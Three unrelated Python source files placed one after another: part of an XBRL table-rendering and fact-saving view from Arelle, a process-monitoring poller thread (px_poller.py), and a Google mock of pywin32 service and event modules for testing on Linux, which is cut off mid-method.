tblAxisRelSet.rootConcepts: # add table to menu if there's any entry tblMenuEntries[roledefinition] = tblLinkroleUri self.tablesToELR[table.objectId()] = tblLinkroleUri break self.tablesMenu.delete(0, self.tablesMenuLength) self.tablesMenuLength = 0 self.tblELR = None for tblMenuEntry in sorted(tblMenuEntries.items()): tbl,elr = tblMenuEntry self.tablesMenu.add_command(label=tbl, command=lambda e=elr: self.view(viewTblELR=e)) self.tablesMenuLength += 1 if self.tblELR is None: self.tblELR = elr # start viewing first ELR def viewReloadDueToMenuAction(self, *args): if not self.blockMenuEvents: # update config (config saved when exiting) self.options["ignoreDimValidity"] = self.ignoreDimValidity.get() self.options["xAxisChildrenFirst"] = self.xAxisChildrenFirst.get() self.options["yAxisChildrenFirst"] = self.yAxisChildrenFirst.get() self.view() def view(self, viewTblELR=None, newInstance=None): startedAt = time.time() self.blockMenuEvents += 1 if newInstance is not None: self.modelXbrl = newInstance # a save operation has created a new instance to use subsequently clearZchoices = False if viewTblELR: # specific table selection self.tblELR = viewTblELR clearZchoices = True else: # first or subsequenct reloading (language, dimensions, other change) clearZchoices = self.zOrdinateChoices is None if clearZchoices: # also need first time initialization self.loadTablesMenu() # load menus (and initialize if first time viewTblELR = self.tblELR if not self.tblELR: return # no table to display if clearZchoices: self.zOrdinateChoices = {} # remove old widgets self.viewFrame.clearGrid() tblAxisRelSet, xTopStructuralNode, yTopStructuralNode, zTopStructuralNode = resolveAxesStructure(self, viewTblELR) if tblAxisRelSet: #print("tbl hdr width rowHdrCols {0}".format(self.rowHdrColWidth)) self.gridTblHdr.tblHdrWraplength = 200 # to adjust dynamically during configure callbacks self.gridTblHdr.tblHdrLabel = \ gridHdr(self.gridTblHdr, 0, 0, (self.modelTable.genLabel(lang=self.lang, strip=True) or # use table label, if any self.roledefinition), anchor="nw", #columnspan=(self.dataFirstCol - 1), #rowspan=(self.dataFirstRow), wraplength=200) # in screen units #wraplength=sum(self.rowHdrColWidth)) # in screen units zAspectStructuralNodes = defaultdict(set) self.zAxis(1, zTopStructuralNode, zAspectStructuralNodes, clearZchoices) xStructuralNodes = [] self.xAxis(self.dataFirstCol, self.colHdrTopRow, self.colHdrTopRow + self.colHdrRows - 1, xTopStructuralNode, xStructuralNodes, self.xAxisChildrenFirst.get(), True, True) self.yAxis(1, self.dataFirstRow, yTopStructuralNode, self.yAxisChildrenFirst.get(), True, True) for fp in self.factPrototypes: # dereference prior facts if fp is not None: fp.clear() self.factPrototypes = [] self.bodyCells(self.dataFirstRow, yTopStructuralNode, xStructuralNodes, zAspectStructuralNodes, self.yAxisChildrenFirst.get()) # data cells #print("body cells done") self.modelXbrl.profileStat("viewTable_" + os.path.basename(viewTblELR), time.time() - startedAt) #self.gridView.config(scrollregion=self.gridView.bbox(constants.ALL)) self.blockMenuEvents -= 1 def zAxis(self, row, zStructuralNode, zAspectStructuralNodes, clearZchoices): if zStructuralNode is not None: gridBorder(self.gridColHdr, self.dataFirstCol, row, TOPBORDER, columnspan=2) gridBorder(self.gridColHdr, self.dataFirstCol, row, LEFTBORDER) gridBorder(self.gridColHdr, self.dataFirstCol, row, RIGHTBORDER, columnspan=2) label = zStructuralNode.header(lang=self.lang) hdr = gridHdr(self.gridColHdr, self.dataFirstCol, row, label, anchor="w", columnspan=2, wraplength=200, # in screen units objectId=zStructuralNode.objectId(), onClick=self.onClick) if zStructuralNode.choiceStructuralNodes: # combo box valueHeaders = [''.ljust(zChoiceStructuralNode.indent * 4) + # indent if nested choices (zChoiceStructuralNode.header(lang=self.lang) or '') for zChoiceStructuralNode in zStructuralNode.choiceStructuralNodes] combobox = gridCombobox( self.gridColHdr, self.dataFirstCol + 2, row, values=valueHeaders, selectindex=zStructuralNode.choiceNodeIndex, columnspan=2, comboboxselected=self.onComboBoxSelected) combobox.zStructuralNode = zStructuralNode combobox.zChoiceOrdIndex = row - 1 combobox.objectId = hdr.objectId = zStructuralNode.objectId() gridBorder(self.gridColHdr, self.dataFirstCol + 3, row, RIGHTBORDER) if zStructuralNode.childStructuralNodes: for zStructuralNode in zStructuralNode.childStructuralNodes: self.zAxis(row + 1, zStructuralNode, zAspectStructuralNodes, clearZchoices) else: # nested-nost element, aspects process inheritance for aspect in aspectModels[self.aspectModel]: if zStructuralNode.hasAspect(aspect): #implies inheriting from other z axes if aspect == Aspect.DIMENSIONS: for dim in (zStructuralNode.aspectValue(Aspect.DIMENSIONS) or emptyList): zAspectStructuralNodes[dim].add(zStructuralNode) else: zAspectStructuralNodes[aspect].add(zStructuralNode) def onComboBoxSelected(self, *args): combobox = args[0].widget self.zOrdinateChoices[combobox.zStructuralNode._definitionNode] = \ combobox.zStructuralNode.choiceNodeIndex = combobox.valueIndex self.view() # redraw grid def xAxis(self, leftCol, topRow, rowBelow, xParentStructuralNode, xStructuralNodes, childrenFirst, renderNow, atTop): if xParentStructuralNode is not None: parentRow = rowBelow noDescendants = True rightCol = leftCol widthToSpanParent = 0 sideBorder = not xStructuralNodes if atTop and sideBorder and childrenFirst: gridBorder(self.gridColHdr, self.dataFirstCol, 1, LEFTBORDER, rowspan=self.dataFirstRow) for xStructuralNode in xParentStructuralNode.childStructuralNodes: if not xStructuralNode.isRollUp: noDescendants = False rightCol, row, width, leafNode = self.xAxis(leftCol, topRow + 1, rowBelow, xStructuralNode, xStructuralNodes, # nested items before totals childrenFirst, childrenFirst, False) if row - 1 < parentRow: parentRow = row - 1 #if not leafNode: # rightCol -= 1 nonAbstract = not xStructuralNode.isAbstract if nonAbstract: width += 100 # width for this label, in screen units widthToSpanParent += width label = xStructuralNode.header(lang=self.lang, returnGenLabel=isinstance(xStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord))) if childrenFirst: thisCol = rightCol sideBorder = RIGHTBORDER else: thisCol = leftCol sideBorder = LEFTBORDER if renderNow: columnspan = (rightCol - leftCol + (1 if nonAbstract else 0)) gridBorder(self.gridColHdr, leftCol, topRow, TOPBORDER, columnspan=columnspan) gridBorder(self.gridColHdr, leftCol, topRow, sideBorder, columnspan=columnspan, rowspan=(rowBelow - topRow + 1) ) gridHdr(self.gridColHdr, leftCol, topRow, label if label else " ", anchor="center", columnspan=(rightCol - leftCol + (1 if nonAbstract else 0)), rowspan=(row - topRow + 1) if leafNode else 1, wraplength=width, # screen units objectId=xStructuralNode.objectId(), onClick=self.onClick) if nonAbstract: for i, role in enumerate(self.colHdrNonStdRoles): gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - len(self.colHdrNonStdRoles) + i, TOPBORDER) gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - len(self.colHdrNonStdRoles) + i, sideBorder) gridHdr(self.gridColHdr, thisCol, self.dataFirstRow - len(self.colHdrNonStdRoles) + i, xStructuralNode.header(role=role, lang=self.lang), anchor="center", wraplength=100, # screen units objectId=xStructuralNode.objectId(), onClick=self.onClick) ''' was if self.colHdrDocRow: gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - 1 - self.rowHdrCodeCol, TOPBORDER) gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - 1 - self.rowHdrCodeCol, sideBorder) gridHdr(self.gridColHdr, thisCol, self.dataFirstRow - 1 - self.rowHdrCodeCol, xStructuralNode.header(role="http://www.xbrl.org/2008/role/documentation", lang=self.lang), anchor="center", wraplength=100, # screen units objectId=xStructuralNode.objectId(), onClick=self.onClick) if self.colHdrCodeRow: gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - 1, TOPBORDER) gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - 1, sideBorder) gridHdr(self.gridColHdr, thisCol, self.dataFirstRow - 1, xStructuralNode.header(role="http://www.eurofiling.info/role/2010/coordinate-code"), anchor="center", wraplength=100, # screen units objectId=xStructuralNode.objectId(), onClick=self.onClick) ''' gridBorder(self.gridColHdr, thisCol, self.dataFirstRow - 1, BOTTOMBORDER) xStructuralNodes.append(xStructuralNode) if nonAbstract: rightCol += 1 if renderNow and not childrenFirst: self.xAxis(leftCol + (1 if nonAbstract else 0), topRow + 1, rowBelow, xStructuralNode, xStructuralNodes, childrenFirst, True, False) # render on this pass leftCol = rightCol if atTop and sideBorder and not childrenFirst: gridBorder(self.gridColHdr, rightCol - 1, 1, RIGHTBORDER, rowspan=self.dataFirstRow) return (rightCol, parentRow, widthToSpanParent, noDescendants) def yAxis(self, leftCol, row, yParentStructuralNode, childrenFirst, renderNow, atLeft): if yParentStructuralNode is not None: nestedBottomRow = row if atLeft: gridBorder(self.gridRowHdr, self.rowHdrCols + len(self.rowHdrNonStdRoles), # was: self.rowHdrDocCol + self.rowHdrCodeCol, self.dataFirstRow, RIGHTBORDER, rowspan=self.dataRows) gridBorder(self.gridRowHdr, 1, self.dataFirstRow + self.dataRows - 1, BOTTOMBORDER, columnspan=(self.rowHdrCols + len(self.rowHdrNonStdRoles))) # was: self.rowHdrDocCol + self.rowHdrCodeCol)) for yStructuralNode in yParentStructuralNode.childStructuralNodes: if not yStructuralNode.isRollUp: nestRow, nextRow = self.yAxis(leftCol + 1, row, yStructuralNode, # nested items before totals childrenFirst, childrenFirst, False) isAbstract = (yStructuralNode.isAbstract or (yStructuralNode.childStructuralNodes and not isinstance(yStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord)))) isNonAbstract = not isAbstract label = yStructuralNode.header(lang=self.lang, returnGenLabel=isinstance(yStructuralNode.definitionNode, (ModelClosedDefinitionNode, ModelEuAxisCoord))) topRow = row if childrenFirst and isNonAbstract: row = nextRow if renderNow: columnspan = self.rowHdrCols - leftCol + 1 if isNonAbstract or nextRow == row else None gridBorder(self.gridRowHdr, leftCol, topRow, LEFTBORDER, rowspan=(nestRow - topRow + 1) ) gridBorder(self.gridRowHdr, leftCol, topRow, TOPBORDER, columnspan=(1 if childrenFirst and nextRow > row else columnspan)) if childrenFirst and row > topRow: gridBorder(self.gridRowHdr, leftCol + 1, row, TOPBORDER, columnspan=(self.rowHdrCols - leftCol)) depth = yStructuralNode.depth gridHdr(self.gridRowHdr, leftCol, row, label if label is not None else " ", anchor=("w" if isNonAbstract or nestRow == row else "center"), columnspan=columnspan, rowspan=(nestRow - row if isAbstract else None), # wraplength is in screen units wraplength=(self.rowHdrColWidth[depth] if isAbstract else self.rowHdrWrapLength - sum(self.rowHdrColWidth[0:depth])), #minwidth=self.rowHdrColWidth[leftCol], minwidth=(16 if isNonAbstract and nextRow > topRow else None), objectId=yStructuralNode.objectId(), onClick=self.onClick) if isNonAbstract: for i, role in enumerate(self.rowHdrNonStdRoles): isCode = "code" in role docCol = self.dataFirstCol - len(self.rowHdrNonStdRoles) + i gridBorder(self.gridRowHdr, docCol, row, TOPBORDER) gridBorder(self.gridRowHdr, docCol, row, LEFTBORDER) gridHdr(self.gridRowHdr, docCol, row, yStructuralNode.header(role=role, lang=self.lang), anchor="c" if isCode else "w", wraplength=40 if isCode else 100, # screen units objectId=yStructuralNode.objectId(), onClick=self.onClick) ''' was: if self.rowHdrDocCol: docCol = self.dataFirstCol - 1 - self.rowHdrCodeCol gridBorder(self.gridRowHdr, docCol, row, TOPBORDER) gridBorder(self.gridRowHdr, docCol, row, LEFTBORDER) gridHdr(self.gridRowHdr, docCol, row, yStructuralNode.header(role="http://www.xbrl.org/2008/role/documentation", lang=self.lang), anchor="w", wraplength=100, # screen units objectId=yStructuralNode.objectId(), onClick=self.onClick) if self.rowHdrCodeCol: codeCol = self.dataFirstCol - 1 gridBorder(self.gridRowHdr, codeCol, row, TOPBORDER) gridBorder(self.gridRowHdr, codeCol, row, LEFTBORDER) gridHdr(self.gridRowHdr, codeCol, row, yStructuralNode.header(role="http://www.eurofiling.info/role/2010/coordinate-code"), anchor="center", wraplength=40, # screen units objectId=yStructuralNode.objectId(), onClick=self.onClick) # gridBorder(self.gridRowHdr, leftCol, self.dataFirstRow - 1, BOTTOMBORDER) ''' if isNonAbstract: row += 1 elif childrenFirst: row = nextRow if nestRow > nestedBottomRow: nestedBottomRow = nestRow + (isNonAbstract and not childrenFirst) if row > nestedBottomRow: nestedBottomRow = row #if renderNow and not childrenFirst: # dummy, row = self.yAxis(leftCol + 1, row, yStructuralNode, childrenFirst, True, False) # render on this pass if not childrenFirst: dummy, row = self.yAxis(leftCol + 1, row, yStructuralNode, childrenFirst, renderNow, False) # render on this pass return (nestedBottomRow, row) def bodyCells(self, row, yParentStructuralNode, xStructuralNodes, zAspectStructuralNodes, yChildrenFirst): if yParentStructuralNode is not None: rendrCntx = getattr(self.modelXbrl, "rendrCntx", None) # none for EU 2010 tables dimDefaults = self.modelXbrl.qnameDimensionDefaults for yStructuralNode in yParentStructuralNode.childStructuralNodes: if yChildrenFirst: row = self.bodyCells(row, yStructuralNode, xStructuralNodes, zAspectStructuralNodes, yChildrenFirst) if not yStructuralNode.isAbstract: yAspectStructuralNodes = defaultdict(set) for aspect in aspectModels[self.aspectModel]: if yStructuralNode.hasAspect(aspect): if aspect == Aspect.DIMENSIONS: for dim in (yStructuralNode.aspectValue(Aspect.DIMENSIONS) or emptyList): yAspectStructuralNodes[dim].add(yStructuralNode) else: yAspectStructuralNodes[aspect].add(yStructuralNode) yTagSelectors = yStructuralNode.tagSelectors gridSpacer(self.gridBody, self.dataFirstCol, row, LEFTBORDER) # data for columns of row ignoreDimValidity = self.ignoreDimValidity.get() for i, xStructuralNode in enumerate(xStructuralNodes): xAspectStructuralNodes = defaultdict(set) for aspect in aspectModels[self.aspectModel]: if xStructuralNode.hasAspect(aspect): if aspect == Aspect.DIMENSIONS: for dim in (xStructuralNode.aspectValue(Aspect.DIMENSIONS) or emptyList): xAspectStructuralNodes[dim].add(xStructuralNode) else: xAspectStructuralNodes[aspect].add(xStructuralNode) cellTagSelectors = yTagSelectors | xStructuralNode.tagSelectors cellAspectValues = {} matchableAspects = set() for aspect in _DICT_SET(xAspectStructuralNodes.keys()) | _DICT_SET(yAspectStructuralNodes.keys()) | _DICT_SET(zAspectStructuralNodes.keys()): aspectValue = inheritedAspectValue(self, aspect, cellTagSelectors, xAspectStructuralNodes, yAspectStructuralNodes, zAspectStructuralNodes, xStructuralNode, yStructuralNode) # value is None for a dimension whose value is to be not reported in this slice if (isinstance(aspect, _INT) or # not a dimension dimDefaults.get(aspect) != aspectValue or # explicit dim defaulted will equal the value aspectValue is not None): # typed dim absent will be none cellAspectValues[aspect] = aspectValue matchableAspects.add(aspectModelAspect.get(aspect,aspect)) #filterable aspect from rule aspect cellDefaultedDims = _DICT_SET(dimDefaults) - _DICT_SET(cellAspectValues.keys()) priItemQname = cellAspectValues.get(Aspect.CONCEPT) concept = self.modelXbrl.qnameConcepts.get(priItemQname) conceptNotAbstract = concept is None or not concept.isAbstract from arelle.ValidateXbrlDimensions import isFactDimensionallyValid value = None objectId = None justify = None fp = FactPrototype(self, cellAspectValues) if conceptNotAbstract: # reduce set of matchable facts to those with pri item qname and have dimension aspects facts = self.modelXbrl.factsByQname[priItemQname] if priItemQname else self.modelXbrl.factsInInstance for aspect in matchableAspects: # trim down facts with explicit dimensions match or just present if isinstance(aspect, QName): aspectValue = cellAspectValues.get(aspect, None) if isinstance(aspectValue, ModelDimensionValue): if aspectValue.isExplicit: dimMemQname = aspectValue.memberQname # match facts with this explicit value else: dimMemQname = None # match facts that report this dimension elif isinstance(aspectValue, QName): dimMemQname = aspectValue # match facts that have this explicit value elif aspectValue is None: # match typed dims that don't report this value dimMemQname = ModelXbrl.DEFAULT else: dimMemQname = None # match facts that report this dimension facts = facts & self.modelXbrl.factsByDimMemQname(aspect, dimMemQname) for fact in facts: if (all(aspectMatches(rendrCntx, fact, fp, aspect) for aspect in matchableAspects) and all(fact.context.dimMemberQname(dim,includeDefaults=True) in (dimDefaults[dim], None) for dim in cellDefaultedDims)): if yStructuralNode.hasValueExpression(xStructuralNode): value = yStructuralNode.evalValueExpression(fact, xStructuralNode) else: value = fact.effectiveValue objectId = fact.objectId() justify = "right" if fact.isNumeric else "left" break if (conceptNotAbstract and (value is not None or ignoreDimValidity or isFactDimensionallyValid(self, fp))): if objectId is None: objectId = "f{0}".format(len(self.factPrototypes)) self.factPrototypes.append(fp) # for property views gridCell(self.gridBody, self.dataFirstCol + i, row, value, justify=justify, width=12, # width is in characters, not screen units objectId=objectId, onClick=self.onClick) else: fp.clear() # dereference gridSpacer(self.gridBody, self.dataFirstCol + i, row, CENTERCELL) gridSpacer(self.gridBody, self.dataFirstCol + i, row, RIGHTBORDER) gridSpacer(self.gridBody, self.dataFirstCol + i, row, BOTTOMBORDER) row += 1 if not yChildrenFirst: row = self.bodyCells(row, yStructuralNode, xStructuralNodes, zAspectStructuralNodes, yChildrenFirst) return row def onClick(self, event): objId = event.widget.objectId if objId and objId[0] == "f": viewableObject = self.factPrototypes[int(objId[1:])] else: viewableObject = objId self.modelXbrl.viewModelObject(viewableObject) self.modelXbrl.modelManager.cntlr.currentView = self def cellEnter(self, *args): self.blockSelectEvent = 0 self.modelXbrl.modelManager.cntlr.currentView = self def cellLeave(self, *args): self.blockSelectEvent = 1 def cellSelect(self, *args): if self.blockSelectEvent == 0 and self.blockViewModelObject == 0: self.blockViewModelObject += 1 #self.modelXbrl.viewModelObject(self.nodeToObjectId[self.treeView.selection()[0]]) #self.modelXbrl.viewModelObject(self.treeView.selection()[0]) self.blockViewModelObject -= 1 def viewModelObject(self, modelObject): if self.blockViewModelObject == 0: self.blockViewModelObject += 1 try: if isinstance(modelObject, ModelDtsObject.ModelRelationship): objectId = modelObject.toModelObject.objectId() else: objectId = modelObject.objectId() if objectId in self.tablesToELR: self.view(viewTblELR=self.tablesToELR[objectId]) except (KeyError, AttributeError): pass self.blockViewModelObject -= 1 def saveInstance(self, newFilename=None): if (not self.newFactItemOptions.entityIdentScheme or # not initialized yet not self.newFactItemOptions.entityIdentValue or not self.newFactItemOptions.startDateDate or not self.newFactItemOptions.endDateDate): if not getNewFactItemOptions(self.modelXbrl.modelManager.cntlr, self.newFactItemOptions): return # new instance not set # newFilename = None # only used when a new instance must be created if self.modelXbrl.modelDocument.type != ModelDocument.Type.INSTANCE and newFilename is None: newFilename = self.modelXbrl.modelManager.cntlr.fileSave(view=self, fileType="xbrl") if not newFilename: return # saving cancelled # continue saving in background thread = threading.Thread(target=lambda: self.backgroundSaveInstance(newFilename)) thread.daemon = True thread.start() def backgroundSaveInstance(self, newFilename=None): cntlr = self.modelXbrl.modelManager.cntlr if newFilename and self.modelXbrl.modelDocument.type != ModelDocument.Type.INSTANCE: self.modelXbrl.modelManager.showStatus(_("creating new instance {0}").format(os.path.basename(newFilename))) self.modelXbrl.modelManager.cntlr.waitForUiThreadQueue() # force status update self.modelXbrl.createInstance(newFilename) # creates an instance as this modelXbrl's entrypoing instance = self.modelXbrl cntlr.showStatus(_("Saving {0}").format(instance.modelDocument.basename)) cntlr.waitForUiThreadQueue() # force status update newCntx = ModelXbrl.AUTO_LOCATE_ELEMENT newUnit = ModelXbrl.AUTO_LOCATE_ELEMENT # check user keyed changes for bodyCell in self.gridBody.winfo_children(): if isinstance(bodyCell, gridCell) and bodyCell.isChanged: value = bodyCell.value objId = bodyCell.objectId if objId: if objId[0] == "f": factPrototypeIndex = int(objId[1:]) factPrototype = self.factPrototypes[factPrototypeIndex] concept = factPrototype.concept entityIdentScheme = self.newFactItemOptions.entityIdentScheme entityIdentValue = self.newFactItemOptions.entityIdentValue periodType = factPrototype.concept.periodType periodStart = self.newFactItemOptions.startDateDate if periodType == "duration" else None periodEndInstant = self.newFactItemOptions.endDateDate qnameDims = factPrototype.context.qnameDims prevCntx = instance.matchContext( entityIdentScheme, entityIdentValue, periodType, periodStart, periodEndInstant, qnameDims, [], []) if prevCntx is not None: cntxId = prevCntx.id else: # need new context newCntx = instance.createContext(entityIdentScheme, entityIdentValue, periodType, periodStart, periodEndInstant, concept.qname, qnameDims, [], [], afterSibling=newCntx) cntxId = newCntx.id # new context if concept.isNumeric: if concept.isMonetary: unitMeasure = qname(XbrlConst.iso4217, self.newFactItemOptions.monetaryUnit) unitMeasure.prefix = "iso4217" # want to save with a recommended prefix decimals = self.newFactItemOptions.monetaryDecimals elif concept.isShares: unitMeasure = XbrlConst.qnXbrliShares decimals = self.newFactItemOptions.nonMonetaryDecimals else: unitMeasure = XbrlConst.qnXbrliPure decimals = self.newFactItemOptions.nonMonetaryDecimals prevUnit = instance.matchUnit([unitMeasure],[]) if prevUnit is not None: unitId = prevUnit.id else: newUnit = instance.createUnit([unitMeasure],[], afterSibling=newUnit) unitId = newUnit.id attrs = [("contextRef", cntxId)] if concept.isNumeric: attrs.append(("unitRef", unitId)) attrs.append(("decimals", decimals)) value = Locale.atof(self.modelXbrl.locale, value, str.strip) newFact = instance.createFact(concept.qname, attributes=attrs, text=value) bodyCell.objectId = newFact.objectId() # switch cell to now use fact ID if self.factPrototypes[factPrototypeIndex] is not None: self.factPrototypes[factPrototypeIndex].clear() self.factPrototypes[factPrototypeIndex] = None #dereference fact prototype else: # instance fact, not prototype fact = self.modelXbrl.modelObject(objId) if fact.concept.isNumeric: value = Locale.atof(self.modelXbrl.locale, value, str.strip) if fact.value != value: if fact.concept.isNumeric and fact.isNil != (not value): fact.isNil = not value if value: # had been nil, now it needs decimals fact.decimals = (self.newFactItemOptions.monetaryDecimals if fact.concept.isMonetary else self.newFactItemOptions.nonMonetaryDecimals) fact.text = value XmlValidate.validate(instance, fact) bodyCell.isChanged = False # clear change flag instance.saveInstance(newFilename) # may override prior filename for instance from main menu cntlr.showStatus(_("Saved {0}").format(instance.modelDocument.basename), clearAfter=3000)
px_poller.py
import os import time import threading from . import px_load from . import px_ioload from . import px_meminfo from . import px_process from . import px_launchcounter import sys if sys.version_info.major >= 3: # For mypy PEP-484 static typing validation from typing import Optional # NOQA from typing import List # NOQA from six import text_type # We'll report poll done as this key having been pressed. # # NOTE: This must be detected as non-printable by handle_search_keypress(). POLL_COMPLETE_KEY = u"\x01" # Key repeat speed is about one every 30+ms, and this pause needs to be longer # than that for the pause to be useful while scrolling. SHORT_PAUSE_SECONDS = 0.1 class PxPoller(object): def __init__(self, poll_complete_notification_fd=None): # type: (Optional[int]) -> None """ After a poll is done and there is new data, a POLL_COMPLETE_KEY will be written to the poll_complete_notification_fd file descriptor. """ self.thread = None # type: Optional[threading.Thread] self.poll_complete_notification_fd = poll_complete_notification_fd self.lock = threading.Lock() self._ioload = px_ioload.PxIoLoad() self._ioload_string = u"None" self._loadstring = u"None" self._meminfo = u"None" self._all_processes = [] # type: List[px_process.PxProcess] self._launchcounter = px_launchcounter.Launchcounter() self._launchcounter_screen_lines = [] # type: List[text_type] # No process polling until this timestamp, timestamp from time.time() self._pause_process_updates_until = 0.0 # Ensure we have current data already at the start self.poll_once() def pause_process_updates_a_bit(self): with self.lock: self._pause_process_updates_until = time.time() + SHORT_PAUSE_SECONDS def start(self): assert not self.thread self.thread = threading.Thread(name="Poller", target=self.poller) self.thread.daemon = True self.thread.start() def poll_once(self): with self.lock: if time.time() < self._pause_process_updates_until: return # Poll processes all_processes = px_process.get_all() with self.lock: self._all_processes = all_processes # Keep a launchcounter rendering up to date self._launchcounter.update(all_processes) launchcounter_screen_lines = self._launchcounter.get_screen_lines() with self.lock: self._launchcounter_screen_lines = launchcounter_screen_lines # Poll memory meminfo = px_meminfo.get_meminfo() with self.lock: self._meminfo = meminfo # Poll system load load = px_load.get_load_values() loadstring = px_load.get_load_string(load) with self.lock: self._loadstring = loadstring # Poll IO self._ioload.update() ioload_string = self._ioload.get_load_string() with self.lock: self._ioload_string = ioload_string # Notify fd that we have new data if self.poll_complete_notification_fd is not None: os.write( self.poll_complete_notification_fd, POLL_COMPLETE_KEY.encode("utf-8") ) def poller(self): while True: with self.lock: sleeptime = self._pause_process_updates_until - time.time() if sleeptime < 0.0: sleeptime = 1.0 time.sleep(sleeptime) self.poll_once() def get_all_processes(self): # type: () -> List[px_process.PxProcess] with self.lock: return self._all_processes def get_ioload_string(self): # type: () -> text_type with self.lock: return self._ioload_string def get_launchcounter_lines(self): # type: () -> List[text_type] with self.lock: return self._launchcounter_screen_lines def get_meminfo(self): # type: () -> text_type with self.lock: return self._meminfo def get_loadstring(self): # type: () -> text_type with self.lock: return self._loadstring
mockwin32.py
#!/usr/bin/python2.4 # # Copyright 2010 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Provide mock pywin32 functionality on a non-windows platform, i.e. Linux. Provide entire modules and methods. Points event viewer like logs to stderr. Provides a basic service framework where code can pretend to start, stop, listen for sock or other events, etc. Object naming scheme: MockAllCapsFormModule = equivalent to pywin32 module all_caps_form MockAllCapsForm = equivalent to pywin32 object AllCapsForm Method parameters retain their Win32 naming scheme. This is intentional and produces gpylint errors. """ import re import select import sys import threading import time DEBUG = False class Error(Exception): """Base Error.""" class ServiceUnknown(Exception): """Service is unknown.""" def SafeLoadMockModules(force=False): """Load the Win32 mock modules. Note: This method is careful to only replace the module in sys.modules if it doesn't already exist. This avoids a problem where values changed in the module may be wiped out as multiple modules load and call this method. Args: force: bool, default False, True to load mocks even if we're on Win32 """ if sys.platform == 'win32' and not force: return load_list = [ ('servicemanager', MockServiceManagerModule), ('win32serviceutil', MockWin32ServiceUtilModule), ('win32service', MockWin32ServiceModule), ('win32event', MockWin32EventModule), ('win32evtlogutil', MockWin32EvtLogUtilModule), ('win32file', MockWin32FileModule), ('pythoncom', MockPythonComModule), ('win32security', MockWin32SecurityModule), ] for (module_name, module_class) in load_list: if not module_name in sys.modules: sys.modules[module_name] = module_class() def LogDebugMsg(*args): """Log a debug message. Args: args: any number of args which will be logged with space separation """ if DEBUG: servicemanager.LogMsg(' '.join(*args)) class MockServiceManagerModule(object): """Mock Win32 ServiceManager module.""" def __init__(self): self.constant_re = re.compile(r'^[A-Z_]+$') def Log(self, *x): print >>sys.stderr, time.time(), x def LogMsg(self, *x): self.Log('LogMsg', x) def LogErrorMsg(self, *x): self.Log('LogErrorMsg', x) def LogWarningMsg(self, *x): self.Log('LogWarningMsg', x) def LogInfoMsg(self, *x): self.Log('LogInfoMsg', x) def __getattr__(self, x): if self.constant_re.search(x): return x else: raise AttributeError(x) msmm = MockServiceManagerModule() servicemanager = msmm class MockPythonComModule(object): """Mock Win32 PythonCom module.""" did_init = {} #TODO(user): Expose did_init values in a way that testing would confirm #Co{,Un}Initialize is run once per thread instance. def CoInitialize(self): self.did_init[threading.currentThread().getName()] = 1 def CoUninitialize(self): self.did_init[threading.currentThread().getName()] = 0 class MockWin32EventModule(object): """Mock Win32 Win32Event module.""" # pylint: disable-msg=C6409 WAIT_OBJECT_0 = 0 INFINITE = -1 def SetEvent(self, eventobj): eventobj.Set() def CreateEvent(self, sa, bManualReset, bInitialState, objectName): return MockWin32Event(sa, bManualReset, bInitialState, objectName) # pylint: disable-msg=W0613 def WaitForMultipleObjects(self, handleList, bWaitAll, milliseconds): LogDebugMsg( 'WFMObjects handleList=%s timeout=%s' % (handleList, milliseconds)) t1 = time.time() while 1: LogDebugMsg('loop, timeout=') n = 0 for h in handleList: LogDebugMsg('looking at %s' % str(h)) if h.IsSet(): LogDebugMsg('IsSet %d' % n) return self.WAIT_OBJECT_0+n LogDebugMsg('not set') n += 1 if milliseconds != self.INFINITE: elapsed = (time.time() - t1) * 1000 if elapsed > milliseconds: break time.sleep(1.0) class MockWin32EvtLogUtilModule(object): """Mock Win32 Win32EvtLogUtil module.""" def AddSourceToRegistry(self, *x): pass class MockWin32ServiceUtilModule(object): """Mock Win32 Win32ServiceUtil module.""" class ServiceFramework(object): def __init__(self, args): self.args = args def ReportServiceStatus(self, x): servicemanager.Log('ReportServiceStatus', x) services = {} service_name = None def SetServiceName(self, name): """Set the service name. Used during unittests, not a Win32 function.""" self.service_name = name def GetService(self, service_name): """Get service. Used during unittests, not a Win32 function.""" if service_name in self.services: return self.services[service_name] else: raise ServiceUnknown(service_name) def ServiceStart(self, service_type, argv): if self.service_name is None: if 'ServiceNameUndef' in self.services: raise Exception('Define a unique service name') else: self.service_name = 'ServiceNameUndef' service = service_type(argv) thread = threading.Thread(target=service.SvcDoRun) self.services[self.service_name] = { 'service': service, 'thread': thread, } thread.start() return service # pylint: disable-msg=W0613 def ServiceStop(self, service_type=None, argv=None, service_name=None): if service_name is None: service_name = self.service_name service = self.GetService(self.service_name) service['service'].SvcStop() service['thread'].join() return service['service'] def ServiceInstall(self, service_type, argv): pass def Usage(self): print 'MockWin32 Service Framework' print print '(command) [start|stop|install|debug]' # pylint: disable-msg=W0613 def HandleCommandLine(self, service_type, instance_name=None, argv=()): """Parse command line and handle requested actions. Args: service_type: class to instantiate instance_name: string name of instance e.g. "mod.mod.mod.Class" argv: list of arguments to supply, e.g. ['start'] """ if len(argv) < 2: self.Usage() elif argv[1] in ['start', 'debug']: if argv[1] == 'debug': self.SetServiceName('debug') self.ServiceStart(service_type, argv) elif argv[1] == 'stop': self.ServiceStop(service_type, argv) elif argv[1] == 'install': self.ServiceInstall(service_type, argv) else: self.Usage() class MockWin32Event(object): """Mock Win32 Win32Event class.""" def __init__(self, sa, bManualReset, bInitialState, objectName): # pylint: disable-msg=C6409 self.sa = sa self.bManualReset = bManualReset self.bInitialState = bInitialState self.objectName = objectName self.event = threading.Event() self.socket = None self.networkEvents = None def Set(self): self.event.set() def IsSet(self): LogDebugMsg('IsSet? event.isSet=%s' % self.event.isSet()) LogDebugMsg( 'socket=%s ne=%s' % (str(self.socket), str(self.networkEvents))) if self.event.isSet(): return True # 